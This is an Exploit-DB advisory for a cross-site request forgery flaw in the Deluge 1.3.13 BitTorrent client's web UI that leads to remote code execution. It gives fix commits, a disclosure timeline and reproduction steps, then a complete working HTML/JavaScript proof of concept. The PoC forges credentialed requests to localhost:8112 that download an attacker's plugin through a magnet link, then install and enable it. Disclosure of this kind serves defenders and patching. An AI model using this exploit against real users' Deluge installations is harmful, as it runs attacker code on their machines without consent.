Deluge Web UI 1.3.13 – Cross-Site Request Forgery

  • 作者: Kyle Neideck
    日期: 2017-03-06
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/41541/
  • <!--
    Remote code execution via CSRF vulnerability in the web UI of Deluge 1.3.13
    
    Kyle Neideck, February 2017
    
    
    Product
    -------
    
    Deluge is a BitTorrent client available from http://deluge-torrent.org.
    
    Fix
    ---
    
    Fixed in the (public) source code, but not in binary releases yet. See
    http://git.deluge-torrent.org/deluge/commit/?h=develop&id=11e8957deaf0c76fdfbac62d99c8b6c61cfdddf9
    and
    http://git.deluge-torrent.org/deluge/commit/?h=1.3-stable&id=318ab179865e0707d7945edc3a13a464a108d583
    
    Install from source or use the web UI from an incognito/private window until
    new binaries are released.
    
    Summary
    -------
    
    Deluge version 1.3.13 is vulnerable to cross-site request forgery in the Web UI
    plug-in resulting in remote code execution. Requests made to the /json endpoint
    are not checked for CSRF. See the "render" function of the "JSON" class in
    deluge/ui/web/json_api.py.
    
    The Web UI plug-in is installed, but not enabled, by default. If the user has
    enabled the Web UI plug-in and logged into it, a malicious web page can use
    forged requests to make Deluge download and install a Deluge plug-in provided
    by the attacker. The plug-in can then execute arbitrary code as the user
    running Deluge (usually the local user account).
    
    Timeline
    --------
    
    2017-03-01 Disclosed the vulnerability to Calum Lind (Cas) of Deluge Team
    2017-03-01 Vulnerability fixed by Calum Lind
    2017-03-05 Advisory released
    
    To Reproduce
    ------------
    
     - Create/find a Deluge plug-in to be installed on the victim machine. For
     example, create an empty plug-in with
     python deluge/scripts/create_plugin.py --name malicious --basepath . \
     --author-name "n" --author-email "e"
     (see
     http://git.deluge-torrent.org/deluge/tree/deluge/scripts/create_plugin.py?h=1.3-stable&id=318ab179865e0707d7945edc3a13a464a108d583)
     and add a line to its __init__.py to launch calc.exe.
     - Build the plug-in as a .egg (if necessary):
     python malicious/setup.py bdist_egg
     - Make a torrent containing the .egg and seed it somewhere.
     - Create a Magnet link for the torrent.
     - In the proof-of-concept page below, update the PLUGIN_NAME, PLUGIN_FILE and
     MAGNET_LINK constants.
     - Put the PoC on a web server somewhere. Serving it locally is fine.
     - In Deluge, open Preferences, go to the Plugins category and enable the Web
     UI plug-in.
     - Go to the WebUi preferences section and check "Enable web interface". The
     port should be set to 8112 by default.
     - If you're serving the PoC over HTTPS, check "Enable SSL" so its requests
     don't get blocked as mixed content. If you're not, SSL can be enabled or
     disabled.
     - Go to localhost:8112 in a browser on the victim machine and log in.
     - Open the PoC in the same browser.
    
    The PoC sends requests to localhost:8112 that include cookies. The first
    request adds the torrent, which downloads the .egg (the plug-in) to /tmp. It
    then sends repeated requests to install the .egg and enable it. The attacker's
    code in the plug-in runs when the plug-in is enabled.
    
    For the attack to be successful, the PoC page must be left open until the
    malicious plug-in finishes downloading. An attacker could avoid that limitation
    by using the Execute plug-in, which is installed by default, but Deluge has to
    be restarted before the Execute plug-in can be used. I don't think that can be
    done from the web UI, so the attacker's code would only execute after the
    victim restarted Deluge and then added/removed/completed a torrent.
    
    The PoC adds the plug-in torrent using a Magnet link because it would need to
    read the web UI's responses to add a .torrent file, which CORS prevents.
    
    Proof of Concept
    ----------------
    -->
    
    <!--
    Deluge 1.3.13 Web UI CSRF
    
    Tested on Linux, macOS and Windows.
    
    Kyle Neideck, February 2017
    kyle@bearisdriving.com
    -->
    <html><body><script>
    let PLUGIN_NAME = 'malicious';
    let PLUGIN_FILE = 'malicious-0.1-py2.7.egg';
    let MAGNET_LINK =
    'magnet:?xt=urn:btih:1b02570de69c0cb6d12c544126a32c67c79024b4' +
    '&dn=malicious-0.1-py2.7.egg' +
    '&tr=http%3A%2F%2Ftracker.example.com%3A6969%2Fannounce';
    
    function send_deluge_json(json) {
    console.log('Sending: ' + json);
    
    for (let proto of ['http','https']) {
    let xhr = new XMLHttpRequest();
    
    xhr.open('POST', proto + '://localhost:8112/json');
    xhr.setRequestHeader('Content-Type', 'text/plain');
    xhr.withCredentials = true;
    xhr.onload = function() { console.log(xhr); };
    xhr.send(json);
    }
    }
    
    let download_location =
    (navigator.appVersion.indexOf("Win") != -1) ?
    'C:\\\\Users\\\\Public' : '/tmp';
    
    // Download a malicious plugin using a Magnet link.
    //
    // Using the /upload endpoint or adding a .torrent file wouldn't work. We could
    // upload the file (either a .torrent or the plug-in itself), but it would be
    // saved in a temp dir with a random name. CORS would prevent us from reading
    // the path to the file from the response, and to finish the process we'd need
    // to send a second request that includes that path.
    send_deluge_json('{' +
    '"method":"web.add_torrents",' +
    '"params":[[{' +
    '"path":"' + MAGNET_LINK + '",' +
    '"options":{' +
    '"file_priorities":[],' +
    '"add_paused":false,' +
    '"compact_allocation":false,' +
    '"download_location":"' + download_location + '",' +
    '"move_completed":false,' +
    '"move_completed_path":"' + download_location + '",' +
    '"max_connections":-1,' +
    '"max_download_speed":-1,' +
    '"max_upload_slots":-1,' +
    '"max_upload_speed":-1,' +
    '"prioritize_first_last_pieces":false}}]],' +
    '"id":12345}');
    
    window.stop = false;
    
    // Repeatedly try to enable the plugin, since we can't tell when it will finish
    // downloading.
    function try_to_add_and_enable_plugin() {
    send_deluge_json('{' +
    '"method":"web.upload_plugin",' +
    '"params":["' + PLUGIN_FILE + '","' +
    download_location + '/' + PLUGIN_FILE + '"],' +
    '"id":12345}');
    
    send_deluge_json('{' +
    '"method":"core.enable_plugin",' +
    '"params":["' + PLUGIN_NAME + '"],' +
    '"id":12345}');
    
    if (!window.stop) {
    window.setTimeout(try_to_add_and_enable_plugin, 500);
    }
    }
    
    try_to_add_and_enable_plugin();
    </script>
    <button onclick="window.stop = true">Stop sending requests</button>
    </body></html>